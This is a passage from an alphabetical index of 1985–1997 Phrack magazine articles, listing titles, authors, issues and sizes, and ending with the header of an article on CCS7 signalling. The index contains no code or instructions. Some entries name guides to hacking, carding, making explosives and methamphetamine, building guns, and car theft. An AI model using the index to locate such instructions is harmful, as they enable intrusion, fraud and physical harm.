"Playing Hide and Seek, Unix Style" by Phrack Accident. 1993. I43 F14 31k "The Postal Inspection Service" by Vendetta. 1989. I27 F9 14k "Plant Measurement" by The Executioner. 1986. I9 F6 13k "Prevention of The Billing Office Blues" by Forest Ranger. 1985. I2 F2 1k "Preview to Phrack 13‑The Life & Times of The Executioner" 1987. I12 F3 5k Prime Suspect authored

"A Few Things About Networks" 1988. I18 F9 21k

PRIMOS OPERATING SYSTEM

"A Hacker's Guide to Primos: Part 1" by Cosmos Kid. 1987. I16 F3 11k "Hacking Primos I, II, III" by Evil Jay. 1987. I11 F7 7k "Hacking Primos Part I" by Evil Jay. 1987. I10 F6 11k "Primos: Primenet, RJE, DPTX" by Magic Hasan. 1988. I18 F4 15k

"Primos: Primenet, RJE, DPTX" by Magic Hasan. 1988. I18 F4 15k "Private Audience" by Overlord. 1986. I3 F5 13k

Professor Erhart Moeller authored

"The Moeller Papers" 1993. I44 F10 30k

Professor authored

"Hardwire Interfacing under Linux" 1997. I50 F11 11k "Profile of MAX Long Distance Service" by Phantom Phreaker. 1986. I4 F4 4k "Programming RSTS/E File2: Editors" by Solid State. 1986. I9 F4 13k "Project Hades: TCP Weakness" by daemon9. 1996. I49 F7 38k "Project Loki: ICMP Tunneling" by daemon9/alhambra. 1996. I49 F7 38k "Project Neptune" by daemon9. 1996. I48 F13 52k

The Pyro authored

"Blowguns" 1985. I2 F4 3K 3K

PsychoSpy authored

"The Groom Lake Desert Rat" 1994. I46 F21 44k

** Q **

"Quentin Strikes Again" by The Omega and White Knight. 1994. I45 F12 28k

** R **

The Racketeer authored

"Guide to Encryption" 1992. I42 F11 32k

"Network Miscellany" 1992. I40 F4 32k

"Network Miscellany" 1992. I41 F4 35k

Radical Rocker authored

"How to Make TNT" 1986. I7 F6 2k

"Radio Free Berkley Information" 1994. I45 F24 35k

"Radio Hacking" by The Seker. 1986. I5 F8 3k

"R.A.G. ‑ Rodents are Gay" by Evil Jay. 1987. I13 F6 6k

"RAGS ‑ The Best of Sexy Exy" 1987. I13 F9 19k

Rambone authored

"Pirate's Cove" 1992. I37 F3 8k

"Pirate's Cove" 1992. I38 F3 23k

"Pirate's Cove" 1992. I40 F5 57k

"Pirate's Cove" 1992. I41 F5 32k

Raoul wrote

"DCL BBS Program" 1994. I45 F16 23k

Razor's Edge authored

"The Truth About Lie Detectors" 1989. I30 F9 15k

"Reading Trans‑Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k "Real Cyberpunks" by The Men From Mongo. 1991 I36 F9 13k

"A Real Functioning PEARL BOX Schematic" by Dispater. 1989. I28 F5 5k "A Real Functioning RED BOX Schematic" by J.R. "Bob" Dobbs 1991. I33 F9 12k "Real Phreaker's Guide Vol. 2" by Taran King and Knight Lightning. 1987. I13 F2 5k

"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k ReDragon was Pro‑Philed in 1996. I48 F5 23k

Red Knight authored

"An In‑Depth Guide in Hacking Unix" 1988. I22 F5 35k

Red Skull authored

"Startalk" 1994. I46 F18 21k

R.E.M wrote

"Paid Advertisement"(unencoded game) 1994. I46 F6 62k "Paid Advertisement Part ][" (unencoded game) 1994. I46 F7 45k "A Report on The Internet Worm" by Bob Page. 1988. I22 F8 16k Richard Goodwin authored

"Hollywood‑Style Bits & Bytes" 1994. I45 F17 50k

Richard C. Hollinger authored

"Computer Hackers Follow a Guttman‑Like Progression. 1988. I22 F7 10k "Ring Back Codes for The 314 NPA" by Data Line. 1985. I4 F2 1k Robert Alien authored

"The AT&T Gateway" 1991 I34 F4 5k

Robert Clark authored

"My Bust Part I" 1993. I43 F12 56k

"My Bust Part II" 1993. I43 F13 55k

"Rolm Systems" by Monty Python. 1986. I3 F2 11k

route authored

"Juggernaut"(linux tool) 1997. I50 F6 123k

"The Royal Court [from Metal Shop Private BBS]" 1988. I20 F10 3k "RSTS" by Crimson Death. 1990. I32 F9 23k

RSTS OPERATING SYSTEM

"Hacking RSTS" by Data Line. 1985. I2 F8 4k

"Hacking RSTS Part 1" by The Seker. 1986. I7 F5 12k "Programming RSTS/E File2: Editors" by Solid State. 1986. I9 F4 13k "RSTS" by Crimson Death. 1990. I32 F9 23k

"Running a BBS on X.25" by Seven Up. 1994. I45 F8 15k

Ryche authored

"Hacking Chilton's Credimatic" 1986. I7 F4 8k

** S **

The $muggler authored

"Coin Box Thief Wanted" (PWN) 1987. I16 F12 2k "'Illegal' Hacker Crackdown" (PWN) 1988. I17 F11 5k "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k "Social Engineering [from Metal Shop Private BBS]" 1988. I20 F8 19k "Safe and Easy Carding" by VaxBuster 1993. I44 F20 18k

"SAM Security" by Spitfire Hacker. 1985. I1 F2 2k

"Sara Gordon ‑vs‑ Kohntark Part I" by The Editor. 1993. I44 F11 12k "Sara Gordon ‑vs‑ Kohntark Part II" by The Editor. 1993. I44 F12 47k "Satellite Communications" by Scott Holiday. 1988. I21 F5 9k

Scan Man authored

"Scan Man's Rebuttal to Phrack World News" 1987. I12 F9 17k "Scan Man's Rebuttal to Phrack World News" by Scan Man. 1987. I12 F9 17k "School/College Computer Dial‑Ups" by Phantom Phreaker. 1985. I1 F8 4k Scott Holiday authored

"Satellite Communications" 1988. I21 F5 9k

Scott Simpson authored

"Hacking AT&T System 75" 1992. I41 F6 20k

"Screwing Over Your Local McDonalds" by Charlie X. 1994. I45 F19. 20k "Searching for speciAL acceSs agentS" by Dr. Dude. 1991. I36 F7 18k "Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k "Security Guidelines" by Various Sources. 1994. I45 F10 55k "Security Shortcomings of AppleShare Networks" by Bobby Zero. 1992. I41 F9 16k The Seker authored

"Radio Hacking" 1986. I5 F8 3k

"Hacking RSTS Part 1" 1986. I7 F5 12k

"Sending Fakemail in Unix" by Dark Overlord. 1989. I27 F8 2k "The Senator Markey Hearing Transcripts" by >Unknown User<. I45 F20 72k Sendai authored

"Keytrap Revisisted" 1996. I48 F12 13k

Seven Up authored

"Running a BBS on X.25" 1994. I45 F8 15k

"The ABCs of Better Hotel Staying" 1994. I46 F25 12k "Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" by Knight Lightning. 1988. I21 F3 26k

Shadow Hawk 1 was Pro‑Philed in 1992. I39 F3 8k

The Shining authored

"Unix Hacking ‑ Tools of The Trade" 1994. F11 42k

Shooting Shark authored

Introduction/Index for I15,17 F1 2k

"More Stupid Unix Tricks" 1987. I15 F2 10k

"Nasty Unix Tricks" 1986. I6 F5 4k

"Shadow Hawk Busted Again" 1987. I16 F11 2k "Social Security Number Formatting" 1988. I19 F4 3k "Trojan Horses in Unix" 1986. I7 F7 13k

Shooting Shark Pro‑Philed in 1991 I33 F2 6k

Sideshow Bob authored

"PC Application Level Security" 1997. I50 F12 21k

Signal Substain authored

"Nitrogen‑Trioxide Explosive" 1988. I17 F4 7k

"Signalling Systems Around The World" by Data Line. 1986. I3 F4 2k "Simple Data Encryption or Digital Electronics 101" by The Leftist. 1987. I11 F5 4k

Sir Francis Drake authored

"Phrack World News" 1987. I15 F8 6k

"Bust Update" (PWN) 1988. I17 F11 3k

"Phreaks in Verse" 1987. I13 F5 3k

Sir Hackalot authored

"Unix 'Nasties'" 1990. I32 F5 32k

Skylar authored

"Sprintnet Directory Part 1/3" 1992. I42 F8 49k "Sprintnet Directory Part 2/3" 1992. I42 F9 45k "Sprintnet Directory Part 3/3" 1992. I42 F10 46k

"Skytel Paging and Voicemail" by pbxPhreak. 1997. I50 F10 36k

S. Leonardo Spitz authored

"Phrack Pro‑Phile on Chris Goggens" 1991. I35 F3 20k "Smashing The Stack For Fun And Profit" by Aleph1. 1996. I49 F14 66k "Smoke Bombs" by Alpine Cracker. 1986. I6 F6 2k

"SNMP insecurities" by alhambra. 1997. I50 F7 20k

"SS7 Diverter plans" by Mastermind. 1997. I50 F9 27k

Steve Fleming authored

"The Truth...and Nothing but the Truth" 1996. I48 F16 19k "Social Security Numbers & Privacy" by Chris Hibbert of CPSR. 1991. I35 F6 13k Solid State authored

"Programming RSTS/E File2: Editors" 1986. I9 F4 13k

The Sorceress authored

"Accessing Government Computers" 1988. I17 F7 9k "Cracker are Cheating Bell" (PWN) 1988. I17 F12 8k "SPAN: Space Physics Analysis Network" by Knight Lightning. 1989. I25 F4 47k

"Social Security Number Formatting" by Shooting Shark. 1988. I19 F4 3k "South Western Bell Lineman Word Codes" by Icon. 1997. I49 F11 18k Sovereign Immunity authored

"Sting Operations" 1991. I35 F5 6k

"Special Area Codes" by >Unknown User<. 1989. I24 F8 27k

Spirit Walker co‑authored

"Phrack World News" Part 1‑4 1992 I37 F11‑14 31,30,29,31k Spitfire Hacker authored

"SAM Security" 1985. I1 F2 2k

Split Decision authored

"Phone Bugging: Telecom's Underground Industry" 1989. I26 F7 7k "Sprintnet Directory Part 1/3" by Skylar. 1992. I42 F8 49k "Sprintnet Directory Part 2/3" by Skylar. 1992. I42 F9 45k "Sprintnet Directory Part 3/3" by Skylar. 1992. I42 F10 46k

Spy Ace authored

"Step by Step Guide to Stealing a Camaro" 1993. I43 F20 21k "Standing up to Fight The Bells" by Knight Lightning. 1992. I38 F10 27k "Startalk" by The Red Skull. 1994. I46 F18 21k

Static authored

"Information About NT's FMT‑150/B/C/D" 1996. I48 F9 22k "Steganography Improvement Proposal" by cjml. 1996. I49 F10 6k Stephane Bausson authored

"Electronic Telephone Cards(Part 1)" 1996. I48 F10 39k "Electronic Telephone Cards(Part 2)" 1996. I48 F11 66k "Step by Step Guide to Stealing a Camaro" by Spy Ace. 1993. I43 F20 21k "Sting Operations" by Sovereign Immunity. 1991. I35 F5 6k "Subdivisions (Part 3 of The Vicious Circle Trilogy)" by Knight Lightning.

1989. I23 F3 17k

Substance authored

"The Complete Guide to Hacking Meridian Voice Mail" 1995. I47 F15 10k "SummerCon 1992" by Knight Lightning and Dispater. 1992. I40 F11 35k Suppernigger was Pro‑Philed in 1992. I41 F3 10k

Synapse authored

"Datapac" 1993. I44 F21 36k

SynThecide authored

"Covert Paths" (co‑authored) 1989. I29 F5 4k "Hacking and Tymnet" 1989. I30 F3 20k

Szechuan Death authored

"Legal Info" 1994. I46 F9 13k

** T **

"10th Chaos Computer Congress" by Manny E. Farber. 1994. I45 F13 23k "TAC Info" no author. 1985. I2 F5 14K

"TAMS & Telenet Security" by Phreak_Accident. 1990. I31 F4 7k "Tandy/Radio Shack Cellular Phones" by Damien Thorn. 1996. I48 F7 43k "Tapping Telephone Lines" by Agent Steal. 1987. I16 F6 9k

Taran King authored

"AIS ‑ Automatic Intercept System" 1987. I11 F6 16k "Bell Network Switching Systems" 1989. I25 F3 16k "Breaching and Clearing Obstacles" 1986. I4 F5 7k "Computer‑Based Systems for Bell System Operation" 1989. I26 F2 38k Introduction/Indexes for I1‑2,5‑13 F1 Introduction/Indexes (co‑authored) for I20‑30 F1 "Introduction of Phrack" 1985. I1 F1 2k

"Network Miscellany" 1989. I28 F4 30k

"Network Miscellany II" 1989. I29 F4 35k

"Network Miscellany III" 1989. I30 F2 21k "Operating The VM/SP CP" 1989. I27 F2 38k

"Phrack Pro‑Phile of Broadway Hacker" 1986. I5 F2 5k "Phrack Pro‑Phile of Scan Man" 1986. I7 F2 7k "Phrack Pro‑Phile Featuring Chanda Leir" 1989. I24 F2 6k "Phrack Pro‑Phile Featuring The Mentor" 1989. I23 F2 7k "Phrack Pro‑Phile Featuring Terminus" 1987. I14 F2 7k "Phrack Pro‑Phile on Agrajag The Prolonged" 1987. I12 F2 7k "Phrack Pro‑Phile on Crimson Death" 1986. I4 F1 "Phrack Pro‑Phile on Dave Starr" 1987. I10 F2 8k "Phrack Pro‑Phile on Emanuell Goldstein" 1989. I29 F2 16k "Phrack Pro‑Phile on Erik Bloodaxe" 1989. I28 F2 15k "Phrack Pro‑Phile on Karl Marx" (co‑authored) 1988. I22 F2 9k "Phrack Pro‑Phile on Lex Luthor" 1992. I40 F3 36k "Phrack Pro‑Phile on Modem Master" 1988. I21 F2 6k "Phrack Pro‑Phile on The Nightstalker" 1986. I9 F2 6k "Phrack Pro‑Phile on Taran King" 1988. I20 F2 14k "Phrack Pro‑Phile on Tuc" 1986. I8 F2 6k

"Phrack Pro‑Phile on Wizard of Arpanet" 1987. I11 F2 7k "Phrack World News" (co‑authored) 1988. I22 F9 25k‑12 "The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k "Universal Informational Services via ISDN" 1985. I2 F6 6K co‑authored

"Network Management Center" (co‑authored) 1988. I21 F6 13k "SummerCon 1992"(co‑authored) 1992. I40 F11 35k "Real Phreaker's Guide Vol. 2" (co‑authored) 1987. I13 F2 5k "25th Anniversary Index" (co‑authored). 1989. I25 F2 15k "Welcome to Metal Shop Private" (co‑authored) 1988. I20 F4 37k "TCP/IP: A Tutorial Part 1 of 2" by The Not. 1991 I33 F8 28k "TCP/IP: A Tutorial Part 2 of 2" by The Not. 1991 I34 F8 39k

"TCP port Stealth Scanning" by Uriel I49 F15 32k

"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k "The Technical Revolution" by Dr. Crash. 1986. I6 F3 4k

"The Tele‑Pages" by Jester Sluggo. 1988. I21 F4 37k

TELENET see X.25 PACKET SWITCHING NETWORKS

"Telenet/Sprintnets PC Pursuit Outdial Directory" by Amadeus. 1991. I35 F4 90k "Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k "Telephone Signalling Methods" by Doom Prophet. 1987. I11 F8 7k

TELEPHONE SWITCHING EQUIPMENT AND METHODS

"Bell Network Switching Systems" by Taran King. 1989. I25 F3 16k "Digital Multiplexing Systems (Part 2)" by Control C. 1988. I19 F3 18k "DMS‑100" by Knight Lightning. 1986. I5 F5 8k

"Facility Assignment & Control Systems" by Phantom Phreaker. 1988. I19 F5 11k

"NorThern Telecom's FMT‑150B/C/D" by FyberLyte. 1993. I44 F13 16k "Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k "Signalling Systems Around The World" by Data Line. 1986. I3 F4 2k "Telephone Signalling Methods" by Doom Prophet. 1987. I11 F8 7k "The Universal Data Convertor" by Maldoror. 1994. I45 F21 45k "Understanding The Digital Multiplexing System (DMS)" by Control C. 1987. I12 F4 19k

"Understanding DMS Part II" by Control C. 1987. I14 F5 18k

The Man authored

"Your New Windows Background (Part 1)"<unencoded> 1995. I47 F17 39k "Your New Windows Background (Part 2)"<unencoded> 1995. I47 F18 46k "The Truth...and Nothing but the Truth" by Steve Fleming. 1996. I48 F16 19k Thomas Covenant authored

"How to Fuck Up The World ‑ A Parody" 1987. I13 F3 10k co‑authored

"How to Build a Paisley Box" 1987. I13 F4 5k

Thumpr authored

"Big BroTher Online" 1989. I23 F10 8k

"Timeline Featuring Taran King, Knight Lightning, and Cheap Shades" 1988. I20 F2

"The TMC Primer" by Cap'n Crax. 1987. I10 F3 6k

Tom Brokow authored

"Credit Card Laws" 1987. I16 F5 7k

Toucan Jones authored

"BT Tymnet, Part 1/3" 1992. I40 F8 57k

"BT Tymnet, Part 2/3" 1992. I40 F9 55k

"BT Tymnet, Part 3/3" 1992. I40 F10 91k

"The Total Network Data System" by Doom Prophet. 1987. I12 F5 13k Treason authored

"An Overview of Pre‑Paid Calling Cards" 1995. I47 29k

"The Tried and True Home Production Method for Methamphetamine" by The Leftist. 1986. I4 F8 7k

The Trunk Terminator authored

"International Toll Free Code List" 1991 I33 F6 15k

"A Trip to The NCSC" by Knight Lightning. 1990. I32 F7 16k

"Trojan Horses in Unix" by Shooting Shark. 1986. I7 F7 13k

"The Truth About Lie Detectors" by Razor's Edge. 1989. I30 F9 15k "TRW Business Terminology" by Control C. 1987. I14 F6 5k

TTY‑Man co‑authored

"Multi‑User Chat Program for DEC‑10's" 1986. I9 F7 7k

"TTY Spoofing by VaxBuster" 1992. I41 F8 20k

"25th Anniversary Index" by Knight Lightning, Taran King, and oTher friends. 1989. I25 F2 15k

Twister Pair authored

"Auto‑Answer It" 1991. I35 F9 10k

TYMNET see X.25 PACKET SWITCHING NETWORKS

"Tymnet Diagnostic Tools" by Professor Falken. 1992. I42 F5 35k "Tymnet Security Memo" by Anonymous. 1990. I31 F7 9k

** U **

"Understanding The Digital Multiplexing System (DMS)" by Control C. 1987. I12 F4 19k

"Understanding DMS Part II" by Control C. 1987. I14 F5 18k "Universal Informational Services via ISDN" by Taran King. 1985. I2 F6 6K "Unix Cracking Tips" by Dark Overlord. 1989. I25 F5 14k

"Unix for The Moderate" by Urvile. 1988. I18 F6 11k

"Unix 'Nasties'" by Sir Hackalot. 1990. I32 F5 32k

UNIX OPERATING SYSTEM

"Hardwire Interfacing under Linux" by Professor. 1997. I50 F11 11k "Hiding Out Under Unix" by Black Tie Affair. 1989. I25 F6 9k "Introduction to CGI and CGI vulnerabilities" by G. Gilliss. 1996. I49 F8 12k

"An In‑Depth Guide in Hacking Unix" by Red Knight. 1988. I22 F5 35k "Juggernaut"(linux tool) by route. 1997. I50 F6 123k

"Linux TTY hijacking" by halflife. 1997. I50 F5 15k

"More Stupid Unix Tricks" by Shooting Shark. 1987. I15 F2 10k "Nasty Unix Tricks" by Shooting Shark. 1986. I6 F5 4k "Playing Hide and Seek, Unix Style" by Phrack Accident. 1993. I43 F14 31k "Sending Fakemail in Unix" by Dark Overlord. 1989. I27 F8 2k "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k "Trojan Horses in Unix" by Shooting Shark. 1986. I7 F7 13k "Unix Cracking Tips" by Dark Overlord. 1989. I25 F5 14k "Unix for The Moderate" by Urvile. 1988. I18 F6 11k

"Unix Hacking ‑ Tools of The Trade" by The Shining. 1994. F11 42k "Unix 'Nasties'" by Sir Hackalot. 1990. I32 F5 32k

"Unix System Security Issues" by Jester Sluggo. 1988. I18 F7 27k "Yet AnoTher File on Hacking Unix" by >Unknown User<. 1988. I22 F6 19k

"Unix Hacking ‑ Tools of The Trade" by The Shining. 1994. F11 42k "Unix System Security Issues" by Jester Sluggo. 1988. I18 F7 27k >Unknown User< (Phrack's anonymous submitter alias) was used to tag "Centigram Voice Mail System Consoles" 1992. I39 F6 36k "The Senator Markey Hearing Transcripts" I45 F20 72k "Special Area Codes" 1989. I24 F8 27k

"Tymnet Security Memo" 1990. I31 F7 9k

"Yet AnoTher File on Hacking Unix" 1988. I22 F6 19k

"The Universal Data Convertor" by Maldoror. 1994. I45 F21 45k Uriel authored

"TCP port Stealth Scanning" I49 F15 32k

Urvile authored

"Unix for The Moderate" 1988. I18 F6 11k

USENET see WIDE AREA NETWORKS

"Useful Commands for The TP3010 Debug Port" by G. Tenet. 1992. I42 f7 28k "Users Guide to VAX/VMS Part 1/3" by Black Kat. 1991. I35 F7 62k "Users Guide to VAX/VMS Part 2/3" by BLack Kat. 1992. I37 F7 25k "Users Guide to VAX/VMS Part 3/3" by Black Kat. 1992. I38 F7 46k "Users Guide to XRAY" by NOD. 1992. I42 F6 11k

"Utopia; Chapter One of FTSaga" by Knight Lightning. 1989. I23 F4 20k

UUCP see WIDE AREA NETWORKS

** V **

Various Sources contributed to

"Cellular Debug Mode Commands" 1994. I45 F26 13k "Conference News Part I" 1993. I43 F7 53k "Conference News part II" 1993. I43 F8 58k "Conference News Part I" 1993. I44 F6 55k "Conference News Part II" 1993. I44 F7 35k "Conference News Part III" 1993. I44 F8 50k "Defcon Information" 1995. I47 F9 28k

"Defcon II Information" 1994. I45 F14 26k "HoHoCon"(review) 1992. I42 F13 51k

"HoHoCon Miscellany" 1994. I45 F11 32k

"HoHoCon Miscellany" 1995. I47 F12 33k "International Scene" 1993. I43 F26 51k "International Scene" 1993. I44 F26 25k "International Scene" 1994. I45 F27 63k "International Scene" 1994. I46 F27 44k "International Scene" 1995. I47 F21 39k "International Scene" 1996. I48 F17 33k

"Line Noise" 1997. I50 F3 72k

"Security Guidelines" 1994. I45 F10 55k

"VMS Information" 1994. I45 F15 34k

VaxCat authored

"Lifting Ma Bell's Cloak of Secrecy" 1989. I24 F9 25k VaxCat co‑authored

"Can You Find Out If Your Telephone is Tapped?" 1989. I23 F9 20k "VAX/VMS Fake Mail" by Jack T. Tabb. 1989. I30 F7 7k

VAX/VMS OPERATING SYSTEM

"DCL BBS Program" by Raoul. 1994. I45 F16 23k

"DCL Utilities for VMS Hackers" by The Mentor. 1988. I19 F2 23k "Getting Serious About VMS Hacking" by VAXBusters International. 1989. I23 F8

"Inside The SYSUAF.DAT File" by Pain Hertz. 1990. I32 F8 16k "Users Guide to VAX/VMS Part 1/3" by Black Kat. 1991. I35 F7 62k "Users Guide to VAX/VMS Part 2/3" by Black Kat. 1992. I37 F7 25k "Users Guide to VAX/VMS Part 3/3" by Black Kat. 1992. I38 F7 46k "VAX/VMS Fake Mail" by Jack T. Tabb. 1989. I30 F7 7k

"VMS Information" by Various Sources. 1994. I45 F15 34k VaxBuster authored

"TTY Spoofing" 1992. I41 F8 20k

"Safe and Easy Carding" 1993. I44 F20 18k

VAXBusters International authored

"Advanced BITNET Procedures" 1989. I24 F7 k "Getting Serious About VMS Hacking" 1989. I23 F8 13k

Vendetta authored

"The Postal Inspection Service" 1989. I27 F9 14k

Vince Niel authored

"The Freedom of Information Act and You" 1992. I42 F12 42k "VisaNet Operations Part I" by Ice Jey. 1994. I46 F15 50k

"VisaNet Operations Part 2" by Ice Jey. 1994. I46 F16 44k Visionary authored

"Visionary‑The Story About Him" 1993. I44 F17 23k "Visionary‑The Story About Him" by Visionary. 1993. I44 F17 23k

VM/CMS OPERATING SYSTEM

"A Beginner's Guide to The IBM VM/370" by Elric of Imryrr. I10 F4 4k "Hacking VM/CMS" by Goe. 1989. I30 F4 58k

"Operating The IBM VM/SP CP" by Taran King. 1989. I27 F2 38k "VMS Information" by Various Sources. 1994. I45 F15 34k

VOICE MAIL SYSTEMS

"Centigram Voice Mail System Consoles" by >Unknown User<. 1992. I39 F6 36k "The Complete Guide to Hacking Meridian Voice Mail" by Substance. 1995. I47 F15 10k

"Fun With The Centagram VMS Network" by Oryan Quest. 1986. I9 F3 4k "Rolm Systems" by Monty Python. 1986. I3 F2 11k

"Skytel Paging and Voicemail" by pbxPhreak. 1997. I50 F10 36k "Startalk" by The Red Skull. 1994. I46 F18 21k

"Hacking Voice Mail Systems" by Black Knight from 713. 1987. I11 F4 6k

"Hacking Voice Mail Systems" by Night Ranger. 1991. I34 F6 19k

Voyager authored

"The #hack FAQ (Part 1)" 1995. I47 F5 39k

"The #hack FAQ (Part 2)" 1995. I47 F6 38k

"The #hack FAQ (Part 3)" 1995. I47 F7 51k

"The #hack FAQ (Part 4)" 1995. I47 F8 47k "Telephone Company Customer Applications" 1996. I49 F13 38k Voyager was Pro‑Philed in 1996. I48 F5 23k

** W **

WAREZ

"A Day in The Life of a Warez Broker" by Xxxx Xxxxxxxx. 1995. I47 F20 13k "*ELITE* Access" by Dead Lord & Lord Digital(Lords Anonymous). 1991. I36 F5 43k

"Pirate's Cove" by Rambone. 1992. I37 F3 8k

"Pirate's Cove" by Rambone. 1992. I38 F3 23k

"Pirate's Cove" by Rambone. 1992. I40 F5 57k

"Pirate's Cove" by Rambone. 1992. I41 F5 32k

WEAPONS

"Blowguns" by The Pyro. 1985. I2 F4 3K 3K

"Building a Shock Rod" by Circle Lord. 1986. I3 F8 3k "Homemade Guns" by Man‑Tooth. 1985. I2 F3 7k

"Welcome to Metal Shop Private" by Taran King, Knight Lightning, and Cheap Shades. 1988. I20 F4 37k

"Western Union Telex, TWX, and Time Service" by Phone Phanatic. 1989. I30 F10 13k

White Knight co‑authored

"Quentin Strikes Again" 1994. I45 F12 28k

WIDE AREA NETWORKS (Internet, BITNET, ArpaNET, Usenet, UUCP, TCP/IP, etc.) "Advanced BITNET Procedures" by VAXBusters International. 1989. I24 F7 k "Content‑Blind Cancelbot" by Dr. Dimitri Vulis. I49 F9 40k "Covert Paths" by Cyber Neuron Limited and SynThecide. 1989. I29 F5 4k "The DECWRL Mail Gateway" by Dedicated Link. 1989. I30 F5 23k "A Few Things About Networks" by Prime Suspect. 1988. I18 F9 21k "Foundations on The Horizon; Chapter Two of FTSaga" by Knight Lightning. 1989. I23 F5 27k

"Frontiers; Chapter Four of FTSaga" by Knight Lightning. 1989. I24 F4 25k "Future Trancendent Saga Index A" from The BITNET Services Library. 1989. I23 F6 14k

"Future Trancendent Saga Index B" from The BITNET Services Library. 1989. I23 F7 17k

"Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" by Phrack Inc. 1989. I26 F8 20k

"Introduction to The Internet Protocols I: Chapter Eight of The FTS" by Knight Lightning. 1989. I28 F3 39k

"Introduction to The Internet Protocols II: Chapter Nine of The FTS" by Knight Lightning. 1989. I29 F3 43k

"Introduction to The MIDNET: Chapter Seven of The FTS" by Knight Lightning. 1989. I27 F3 35k

"IP‑Spoofing Demystified" by daemon9. 1996. I48 F13 25k "Limbo to Infinity; Chapter Three of FTSaga" by Knight Lightning. 1989. I24 F3

"Network Management Center" by Knight Lightning and Taran King. 1988. I21 F6

"Network Miscellany" by Racketeer. 1992. I40 F4 32k

"Network Miscellany" by Racketeer. 1992. I41 F4 35k

"Network Miscellany" by Taran King. 1989. I28 F4 30k "Network Miscellany II" by Taran King. 1989. I29 F4 35k "Network Miscellany III" by Taran King. 1989. I30 F2 21k "Network Miscellany IV" by Datastream Cowboy 1992. I38 F5 30k "Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k "Network Progression" by Dedicated Link. 1989. I24 F10 5k "NSFnet: National Science Foundation Network" by Knight Lightning. 1989. I26 F4

"Project Hades: TCP Weakness" by daemon9. 1996. I49 F7 38k "Project Loki: ICMP Tunneling" by daemon9/alhambra. 1996. I49 F7 38k "Project Neptune" by daemon9. 1996. I48 F13 52k

"A Report on The Internet Worm" by Bob Page. 1988. I22 F8 16k "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k "SNMP insecurities" by alhambra. 1997. I50 F7 20k

"SPAN: Space Physics Analysis Network" by Knight Lightning. 1989. I25 F4 47k

"TAC info" Unknown Author. 1985. I2 F5 14K

"TCP/IP: A Tutorial Part 1 of 1" by The Not. 1991 I33 F8 28k "TCP/IP: A Tutorial Part 2 of 2" by The Not. 1991 I34 F8 39k "TCP port Stealth Scanning" by Uriel I49 F15 32k

"Utopia; Chapter One of FTSaga" by Knight Lightning. 1989. I23 F4 20k "Wide Area Information Services" by Mycroft 1992. I38 F8 11k "Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k "Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k

"Wide Area Information Services" by Mycroft 1992. I38 F8 11k

Wing Ding authored

"The History ah MOD" 1991. I36 F4 23k

Winn Schwartau authored

"Cyber Christ Meets Lady Luck Part I" 1994. I46 F19 45k "Cyber Christ Meets Lady Luck Part II" 1994. I46 F20 42k "Cyber Christ Bites The Big Apple" 1994. I46 F23 60k

White Knight co‑authored

"Exploring Information‑America" 1992. I37 F4 51k

"Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k "Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k

"The Wonderful World of Pagers" by Erik Bloodaxe. 1994. I46 F8

** X **

X.25 PACKET SWITCHING NETWORKS (SprintNet, Telenet, Tymnet, X.121 etc.) "A Few Things About Networks" by Prime Suspect. 1988. I18 F9 21k "An Introduction to Packet Switched Networks" by Epsilon. 1988. I18 F3 12k "BT Tymnet, Part 1/3" by Toucan Jones. 1992. I40 F8 57k

"BT Tymnet, Part 2/3" by Toucan Jones. 1992. I40 F9 55k

"BT Tymnet, Part 3/3" by Toucan Jones. 1992. I40 F10 91k "Datapac" by Synapse. 1993. I44 F21 36k

"Exploring Information‑America" by The Omega & White Knight. 1992. I37 F4 51k "Hacking and Tymnet" by SynThecide. 1989. I30 F3 20k "Network Miscellany" by Racketeer. 1992. I40 F4 32k

"Network Miscellany" by Racketeer. 1992. I41 F4 35k

"Network Miscellany" by Taran King. 1989. I28 F4 30k "Network Miscellany II" by Taran King. 1989. I29 F4 35k "Network Miscellany III" by Taran King. 1989. I30 F2 21k "Network Miscellany IV" by Datastream Cowboy 1992. I38 F5 30k "Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k "NUA List for Datex‑P and X.25 Networks" by Oberdaemon. 1989. I27 F4 105k "Sprintnet Directory Part 1/3" by Skylar. 1992. I42 F8 49k "Sprintnet Directory Part 2/3" by Skylar. 1992. I42 F9 45k "Sprintnet Directory Part 3/3" by Skylar. 1992. I42 F10 46k "TAMS and Telenet Security" by Phreak_Accident. 1990. I31 F4 7k "Tymnet Diagnostic Tools" by Professor Falken. 1992. I42 F5 35k "Tymnet Security Memo" by Anonymous. 1990. I31 F7 9k

"Wide Area Information Services" by Mycroft 1992. I38 F8 11k "Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k "Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k Xxxx Xxxxxxxx authored

"A Day in The Life of a Warez Broker" 1995. I47 F20 13k

** Y **

"Yet AnoTher File on Hacking Unix" by >Unknown User<. 1988. I22 F6 19k "Your New Windows Background (Part 1)"<unencoded> by The Man. 1995. I47 F17 39k "Your New Windows Background (Part 2)"<unencoded> by The Man. 1995. I47 F18 46k

A Brief introduction to CCS7

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 15 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ A Brief Introduction to CCS7

‑‑‑‑‑‑‑‑[ Narbo[SLF] <narbo@xeo.net>

0o0o0o0o0o0o0o0o0o0o0o0o0 o Introduction o 0o0o0o0o0o0o0o0o0o0o0o0o0

